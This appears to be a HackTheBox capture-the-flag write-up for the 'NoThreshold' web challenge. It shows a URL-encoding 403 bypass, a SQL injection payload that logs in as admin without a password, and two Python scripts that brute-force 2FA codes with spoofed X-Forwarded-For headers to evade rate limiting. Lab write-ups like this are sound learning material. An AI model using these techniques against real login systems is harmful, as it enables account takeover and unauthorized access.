HackTheBox Challenge Writeup – NoThreshold (Web) – Medium Difficulty
Introduction
I needed to get more web practice, so a medium difficulty challenge seemed good after running through a couple of the easier ones. Ironically, I found this one to be simpler than the easy ones. Simpler… but not necessarily easier, particularly the last part regarding 2FA. I imagine if I just used a pre-existing tool, I could have finished this in under an hour. Practice is always good, though.
Enumeration
This is a web challenge, and not a CTF, so no need to engage in the routine enumeration steps we normally do. Going onto the site, we can see it’s an online shop.
But when you try to add something to your cart, it says you need to log in.
And when we navigate to the login – it says the request is forbidden.
After scoping around, there isn’t much to suggest that the intended path is something outside of this, so I looked into 403 bypasses. We can use a case switching technique – instead of /auth/login, we can url encode the word login, and use /auth/%6c%6f%67%69%6e as shown below.
Now, I don’t have an admin password. Looking at the challenge lab files, I can see the following:
Looks like we can use a relatively simple SQL injection. By terminating the username argument early and closing off the rest of the search query, we can make it select the admin user without a password.
SELECT username, password FROM users WHERE username = 'admin
‘ -- //
'
AND password = '{password}'
By simply using '+--+//
as our admin argument, we pass to the next stage.
A 2FA code. Now, we could use Burp’s intruder, but where’s the fun in that?
I write a brute forcer in Python, and start attacking.
Unfortunately, I get 429 codes – which is a result of Rate Limiting. To prevent this, I randomize the X-Forwarded-For header. This works, but it isn’t able to cycle through all the codes before the 2FA code resets.
#!python
import requests
import random
import sys
def randomip():
return ".".join(str(random.randint(0, 255)) for _ in range(4))
target = "http://94.237.49.166:30445/auth/verify-2fa"
for x in range(0,9999):
twofacode = str(x).zfill(4)
xoriginip = randomip()
postdata = {
'2fa-code': twofacode
}
headers = {
'X-Forwarded-For': "",
'X-Forwarded-For': xoriginip
}
response = requests.post(target, data=postdata, headers=headers)
if response.status_code == 429:
print(f"2FA code {twofa_code} originating from X-Forwarded-For {x_origin_ip}: Too Many Requests")
print("Too many requests. Might need to slow it down.")
elif response.status_code == 400:
print(f"2FA code {twofacode} originating from X-Forwarded-For {xoriginip}: Bad Request / Forbidden")
elif response.status_code == 200:
print(f"2FA code {twofacode} originating from X-Forwarded-For {xoriginip}: Looks like this is the one!")
sys.exit()
else:
print(f"2FA code {twofacode} originating from X-Forwarded-For {xoriginip}: {response.status_code}. Not Sure What's Going On Here.")
For some reason, I start getting 429 results again as well, so I need to fix the script.
To fix it, I add some minor refinements, and with the help of a friend and some AI coaching, I use ThreadPoolExecutor. This shares the tasks between various threads. (This actually didn’t work either until I added a clause to detect the word “flag” in the response, and then print the response. Thanks to the HackTheBox community for helping me out with this.)
import requests
import random
import sys
import time
from concurrent.futures import ThreadPoolExecutor
def randomip():
return ".".join(str(random.randint(0, 255)) for _ in range(4))
def send_request(twofacode, xoriginip):
target = "http://94.237.62.195:32165/auth/verify-2fa"
postdata = {'2fa-code': twofacode}
headers = {'X-Forwarded-For': xoriginip}
response = requests.post(target, data=postdata, headers=headers)
return response
def process_response(response, twofacode, xoriginip):
if response.status_code == 429:
print(f"2FA code {twofacode} originating from X-Forwarded-For {xoriginip}: Too Many Requests")
print("Too many requests. Might need to slow it down.")
elif response.status_code == 400:
print(f"2FA code {twofacode} originating from X-Forwarded-For {xoriginip}: Bad Request / Forbidden")
elif response.status_code == 200:
if 'flag' in response.text.lower():
print("Flag identified!")
print("Full Response:")
print(response.text)
time.sleep(30) # Sleep for 30 seconds
sys.exit()
else:
print(f"2FA code {twofacode} originating from X-Forwarded-For {xoriginip}: Looks like this is not the flag.")
else:
print(f"2FA code {twofacode} originating from X-Forwarded-For {xoriginip}: {response.status_code}. Not Sure What's Going On Here.")
def run_requests(start, end):
for x in range(start, end):
twofacode = str(x).zfill(4)
xoriginip = randomip()
response = send_request(twofacode, xoriginip)
process_response(response, twofacode, xoriginip)
# Define the number of requests and the number of threads
num_requests = 10000
num_threads = 140
# Calculate the number of requests per thread
requests_per_thread = num_requests // num_threads
# Create a ThreadPoolExecutor
with ThreadPoolExecutor(max_workers=num_threads) as executor:
# Submit tasks for each thread
for i in range(num_threads):
start = i * requests_per_thread
end = start + requests_per_thread
executor.submit(run_requests, start, end)
You also have to resend the login request every minute – so the requests needed to be running fast enough to go through all 10000 responses in under that time. After running this multiple times, I get the flag.
Lessons Learned
- The answer might be simple, but the solution isn’t. Don’t be afraid to seek assistance if you’re approaching an unfamiliar problem that can’t be solved easily with only fundamental knowledge in an area, whether that be programming or something else.
- Don’t rely on Burp Suite’s free edition if you’re not planning to buy it. Sooner or later, the limitations will force you to adapt to either finding another solution or making your own.
- 403 doesn’t mean no access. I might overlooked this a few more times than I had liked!
Song Of The Day – Don’t Be Afraid by Aaron Hall (1991)